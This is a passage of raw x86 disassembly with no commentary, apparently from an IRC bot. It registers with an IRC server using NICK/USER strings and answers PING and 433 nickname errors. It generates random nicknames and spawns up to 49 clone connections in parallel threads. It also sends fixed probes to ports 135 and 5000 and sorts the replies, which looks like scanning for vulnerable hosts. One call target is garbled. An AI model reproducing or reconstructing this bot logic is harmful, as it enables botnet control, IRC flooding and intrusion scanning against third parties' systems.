var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CBA54
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_417B25
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CB9D4
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CBA14
		cmp	eax, esi
		jnz	short loc_417B0A
		push	[ebp+arg_0]
		call	dword_4CBA58
		test	eax, eax
		jz	short loc_417B25
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_417B0A:				; CODE XREF: sub_417AA9+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CB97C
		cmp	eax, esi
		jnz	short loc_417B29
		push	edi
		call	dword_4CBA6C


loc_417B25:				; CODE XREF: sub_417AA9+1Bj
					; sub_417AA9+58j
		mov	eax, esi
		jmp	short loc_417B2B
; ---------------------------------------------------------------------------


loc_417B29:				; CODE XREF: sub_417AA9+73j
		mov	eax, edi


loc_417B2B:				; CODE XREF: sub_417AA9+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_417AA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B2F	proc near		; CODE XREF: sub_401ACD+324Cp
					; sub_401ACD+32B6p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset asc_42A080 ; "\n"
		push	edi
		call	sub_41C8A0
		pop	ecx
		mov	esi, offset dword_4D4A5C
		pop	ecx


loc_417B47:				; CODE XREF: sub_417B2F+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_417B65
		cmp	dword ptr [esi], 0
		jbe	short loc_417B65
		push	0
		push	edi
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_4CBA24


loc_417B65:				; CODE XREF: sub_417B2F+1Cj
					; sub_417B2F+21j
		add	esi, 210h
		cmp	esi, offset dword_4DB17C
		jl	short loc_417B47
		pop	edi
		pop	esi
		retn
sub_417B2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417B76	proc near		; CODE XREF: sub_417C61+155p

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		mov	esi, offset asc_42CDC0 ; " "
		push	edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41CAD4
		pop	ecx
		mov	[ebp+var_20], eax
		pop	ecx
		lea	edi, [ebp+var_1C]
		push	7
		pop	ebx


loc_417B9B:				; CODE XREF: sub_417B76+35j
		push	esi
		push	0
		call	sub_41CAD4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	ebx
		pop	ecx
		jnz	short loc_417B9B
		mov	esi, [ebp+var_1C]
		xor	edi, edi
		cmp	[ebp+var_20], edi
		jnz	short loc_417BC3
		cmp	esi, edi
		jnz	short loc_417BC3
		push	1
		pop	eax
		jmp	loc_417C5C
; ---------------------------------------------------------------------------


loc_417BC3:				; CODE XREF: sub_417B76+3Fj
					; sub_417B76+43j
		push	[ebp+var_20]
		push	offset aPing	; "PING"
		call	sub_41CA50
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jnz	short loc_417BDE
		push	offset dword_43932C
		jmp	short loc_417C2C
; ---------------------------------------------------------------------------


loc_417BDE:				; CODE XREF: sub_417B76+5Fj
		push	offset a433	; "433"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417BFF
		push	esi
		push	offset dword_439328
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417C5A


loc_417BFF:				; CODE XREF: sub_417B76+76j
		push	200h
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_417E84
		add	esp, 10h
		lea	eax, [ebp+var_420]
		push	eax
		push	offset dword_43931C


loc_417C2C:				; CODE XREF: sub_417B76+66j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24


loc_417C5A:				; CODE XREF: sub_417B76+87j
		xor	eax, eax


loc_417C5C:				; CODE XREF: sub_417B76+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417B76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C61	proc near		; DATA XREF: sub_417E06+61o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_41C500
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		push	1
		pop	edi
		lea	eax, dword_4D4A64[esi]
		mov	dword_4D4A58[esi], edi
		push	dword_4D4C64[esi]
		push	eax
		call	sub_417AA9
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_4D4A5C[esi], eax
		jb	loc_417DE6
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417E84
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_417E84
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_417E84
		add	esp, 18h
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_4D4A5C[esi]
		call	dword_4CBA24
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch


loc_417D3D:				; CODE XREF: sub_417C61+111j
					; sub_417C61+180j
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	dword_4D4A5C[esi]
		call	dword_4CB9EC
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_417DE6
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		mov	[ebp+var_4], eax
		jz	short loc_417D3D


loc_417D74:				; CODE XREF: sub_417C61+17Ej
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_417D9B
		cmp	al, 0Ah
		jz	short loc_417D9B
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_417D9B
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_417DD5
; ---------------------------------------------------------------------------


loc_417D9B:				; CODE XREF: sub_417C61+11Cj
					; sub_417C61+120j ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_417DD5
		push	dword_4D4A5C[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417B76
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_417DE6
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx


loc_417DD5:				; CODE XREF: sub_417C61+138j
					; sub_417C61+13Fj
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jnz	short loc_417D74
		jmp	loc_417D3D
; ---------------------------------------------------------------------------


loc_417DE6:				; CODE XREF: sub_417C61+40j
					; sub_417C61+107j ...
		mov	dword_4D4A58[esi], ebx
		mov	esi, dword_4D4A5C[esi]
		cmp	esi, ebx
		jbe	short loc_417DFD
		push	esi
		call	dword_4CBA6C


loc_417DFD:				; CODE XREF: sub_417C61+193j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_417C61	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417E06	proc near		; CODE XREF: sub_401ACD+319Bp

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_417E7F


loc_417E18:				; CODE XREF: sub_417E06+77j
		xor	edi, edi
		mov	eax, offset dword_4D4A58


loc_417E1F:				; CODE XREF: sub_417E06+28j
		cmp	[eax], ebx
		jz	short loc_417E30
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4DB178
		jl	short loc_417E1F


loc_417E30:				; CODE XREF: sub_417E06+1Bj
		cmp	edi, 31h
		jz	short loc_417E7F
		mov	esi, edi
		push	[ebp+arg_0]
		imul	esi, 210h
		lea	eax, dword_4D4A64[esi]
		push	eax
		call	sub_41C890
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	dword_4D4C64[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	dword_4D4A58[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_417C61
		push	ebx
		push	ebx
		call	near ptr 26A06F9h
		nop
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_417E18


loc_417E7F:				; CODE XREF: sub_417E06+10j
					; sub_417E06+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417E06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417E84	proc near		; CODE XREF: sub_401ACD+36FDp
					; sub_401ACD+3747p ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		call	sub_41C2C2
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fmul	dbl_4276D8
		call	sub_41D174
		cmp	eax, 1
		jnz	short loc_417ECE
		call	sub_41C2C2
		call	sub_41C2C2
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	off_438A68[edx*4]
		jmp	short loc_417EE7
; ---------------------------------------------------------------------------


loc_417ECE:				; CODE XREF: sub_417E84+2Fj
		call	sub_41C2C2
		call	sub_41C2C2
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	off_438768[edx*4]


loc_417EE7:				; CODE XREF: sub_417E84+48j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C890
		pop	ecx
		lea	eax, [ebp+var_2C]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_41B9C0
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	[ebp+var_C], eax
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41D174
		mov	ebx, eax
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276C8
		call	sub_41D174
		cmp	esi, 2
		mov	edi, offset a__0 ; "-|`_\\{[]}"
		jle	short loc_417F5A
		cmp	esi, 3
		jnz	short loc_417F51
		cmp	ebx, 1
		jz	short loc_417F5A


loc_417F51:				; CODE XREF: sub_417E84+C6j
		cmp	eax, 1
		jnz	loc_418014


loc_417F5A:				; CODE XREF: sub_417E84+C1j
					; sub_417E84+CBj
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C0
		call	sub_41D174
		push	off_438A68[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41C890
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		push	edi
		call	sub_41C990
		add	esp, 10h
		test	eax, eax
		jnz	short loc_418001
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_41C990
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_418001
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		dec	esi
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], esi
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276C8
		call	sub_41D174
		cmp	eax, 1
		jnz	short loc_418001
		push	edi
		call	sub_41B9C0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-8]
		fmul	dbl_4276C8
		call	sub_41D174
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al


loc_418001:				; CODE XREF: sub_417E84+111j
					; sub_417E84+122j ...
		push	[ebp+var_C]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41CBC0
		add	esp, 0Ch


loc_418014:				; CODE XREF: sub_417E84+D0j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41B9C0
		mov	esi, eax
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41DEE8
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41827C
		and	[ebp+var_C], eax
		movsx	eax, byte ptr [ebx-1]
		push	eax
		push	edi
		call	sub_41C990
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_418173
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276C8
		call	sub_41D174
		cmp	esi, 3
		jz	short loc_418082
		cmp	eax, 1
		jnz	loc_418173


loc_418082:				; CODE XREF: sub_417E84+1F3j
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_4180C4
		push	edi
		call	sub_41B9C0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276C8
		call	sub_41D174
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al
		jmp	short loc_4180E0
; ---------------------------------------------------------------------------


loc_4180C4:				; CODE XREF: sub_417E84+207j
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41D174
		mov	cl, 41h
		sub	cl, al
		mov	[ebx], cl


loc_4180E0:				; CODE XREF: sub_417E84+23Ej
		push	1
		inc	esi
		pop	ebx
		mov	[ebp+var_4], esi
		mov	[ebp+var_C], ebx
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B0
		call	sub_41D174
		cmp	esi, 3
		jz	short loc_418109
		cmp	eax, ebx
		jnz	short loc_418173


loc_418109:				; CODE XREF: sub_417E84+27Fj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_41814E
		push	edi
		call	sub_41B9C0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276C8
		call	sub_41D174
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_41816C
; ---------------------------------------------------------------------------


loc_41814E:				; CODE XREF: sub_417E84+28Fj
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41D174
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl


loc_41816C:				; CODE XREF: sub_417E84+2C8j
		inc	esi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], esi


loc_418173:				; CODE XREF: sub_417E84+1C9j
					; sub_417E84+1F8j ...
		cmp	esi, 6
		jge	loc_4181FC
		cmp	esi, 5
		jge	short loc_418194
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		jmp	short loc_4181B2
; ---------------------------------------------------------------------------


loc_418194:				; CODE XREF: sub_417E84+2FBj
		call	sub_41C2C2
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276C8


loc_4181B2:				; CODE XREF: sub_417E84+30Ej
		call	sub_41D174
		test	eax, eax
		jnz	short loc_4181D5
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276A8
		call	sub_41D174
		mov	cl, 30h
		jmp	short loc_4181F2
; ---------------------------------------------------------------------------


loc_4181D5:				; CODE XREF: sub_417E84+335j
		cmp	eax, 1
		jnz	short loc_4181FC
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41D174
		mov	cl, 41h


loc_4181F2:				; CODE XREF: sub_417E84+34Fj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi


loc_4181FC:				; CODE XREF: sub_417E84+2F2j
					; sub_417E84+354j
		cmp	[ebp+var_C], 2
		jge	short loc_41827C
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276C8
		call	sub_41D174
		cmp	eax, 1
		jnz	short loc_41827C
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276A8
		call	sub_41D174
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276A0
		call	sub_41D174
		cmp	eax, 1
		jnz	short loc_41827C
		cmp	[ebp+var_C], eax
		jge	short loc_41827C
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_427698
		call	sub_41D174
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl


loc_41827C:				; CODE XREF: sub_417E84+1B1j
					; sub_417E84+37Cj ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417E84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418295	proc near		; CODE XREF: sub_4182CD+125p
					; sub_4182CD+14Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_4182C3


loc_4182A6:				; CODE XREF: sub_418295+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41DF40
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4182C9
		inc	esi
		cmp	esi, edi
		jl	short loc_4182A6


loc_4182C3:				; CODE XREF: sub_418295+Fj
		xor	al, al


loc_4182C5:				; CODE XREF: sub_418295+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4182C9:				; CODE XREF: sub_418295+27j
		mov	al, 1
		jmp	short loc_4182C5
sub_418295	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4182CD	proc near		; CODE XREF: ___:0040DFD7p
					; ___:0040E0C0p

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_41C500
		mov	eax, [ebp+arg_4]
		push	esi
		dec	eax
		push	edi
		jz	short loc_41830E
		dec	eax
		jz	short loc_4182EC
		dec	eax


loc_4182E6:				; CODE XREF: sub_4182CD+57j
		xor	eax, eax


loc_4182E8:				; CODE XREF: sub_4182CD+3Fj
					; sub_4182CD+169j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_4182EC:				; CODE XREF: sub_4182CD+16j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	dword_4CBA14
		push	eax
		call	sub_40C34B
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_4182E8
; ---------------------------------------------------------------------------


loc_41830E:				; CODE XREF: sub_4182CD+13j
		push	6
		push	1
		push	2
		call	dword_4CBA54
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	short loc_4182E6
		push	ebx
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	87h
		call	dword_4CB9D4
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_40A8F0
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CB97C
		cmp	eax, edi
		jz	loc_41842A
		push	ebx
		push	48h
		push	offset dword_439374
		push	esi
		call	dword_4CBA24
		cmp	eax, edi
		jz	loc_41842A
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB9EC
		cmp	eax, edi
		jz	loc_41842A
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_41842A
		push	ebx
		push	18h
		push	offset dword_4393C0
		push	[ebp+arg_4]
		call	dword_4CBA24
		cmp	eax, edi
		jz	short loc_41842A
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB9EC
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_41842A
		cmp	[ebp+var_200E],	2
		jnz	short loc_41842A
		push	10h
		push	offset loc_4393DC
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_418295
		add	esp, 10h
		test	al, al
		jz	short loc_41840A
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_41842A
; ---------------------------------------------------------------------------


loc_41840A:				; CODE XREF: sub_4182CD+12Fj
		push	10h
		push	offset dword_4393F0
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_418295
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax


loc_41842A:				; CODE XREF: sub_4182CD+9Bj
					; sub_4182CD+B2j ...
		push	[ebp+arg_4]
		call	dword_4CBA6C
		mov	eax, ebx
		pop	ebx
		jmp	loc_4182E8
sub_4182CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41843B	proc near		; CODE XREF: sub_401ACD+BD0p
					; sub_401ACD+C0Dp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_4184C6
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_4184C6
		cmp	[ebp+arg_8], esi
		jz	short loc_4184C6
		cmp	byte ptr [eax],	0
		jz	short loc_4184C6
		push	ebx
		push	edi
		call	sub_426465
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_4184C1
		push	[ebp+arg_4]
		push	edi
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4184BA
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_41BFD0
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_41B9C0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_41CBC0
		push	[ebp+arg_4]
		call	sub_41B9C0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_41C8A0
		push	ebx
		push	edi
		call	sub_41C890
		add	esp, 30h
		mov	esi, edi


loc_4184BA:				; CODE XREF: sub_41843B+3Cj
		push	ebx
		call	sub_41BA91
		pop	ecx


loc_4184C1:				; CODE XREF: sub_41843B+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_4184C8
; ---------------------------------------------------------------------------


loc_4184C6:				; CODE XREF: sub_41843B+Cj
					; sub_41843B+13j ...
		xor	eax, eax


loc_4184C8:				; CODE XREF: sub_41843B+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41843B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4184CC	proc near		; CODE XREF: sub_401955+E9p
					; ___:00410CF1p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_41BF70
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41B9C0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_418502
		or	eax, 0FFFFFFFFh
		jmp	short loc_418575
; ---------------------------------------------------------------------------


loc_418502:				; CODE XREF: sub_4184CC+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_418524


loc_41850E:				; CODE XREF: sub_4184CC+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_41851B
		cmp	dl, 0Dh
		jnz	short loc_41851F


loc_41851B:				; CODE XREF: sub_4184CC+48j
		and	byte ptr [ecx+esi], 0


loc_41851F:				; CODE XREF: sub_4184CC+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_41850E


loc_418524:				; CODE XREF: sub_4184CC+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_418555
		lea	edi, [ebp+var_7CC]


loc_418531:				; CODE XREF: sub_4184CC+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_418550
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_418550
		cmp	ebx, 1F4h
		jge	short loc_418555
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_418550:				; CODE XREF: sub_4184CC+69j
					; sub_4184CC+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_418531


loc_418555:				; CODE XREF: sub_4184CC+5Dj
					; sub_4184CC+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_418573
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
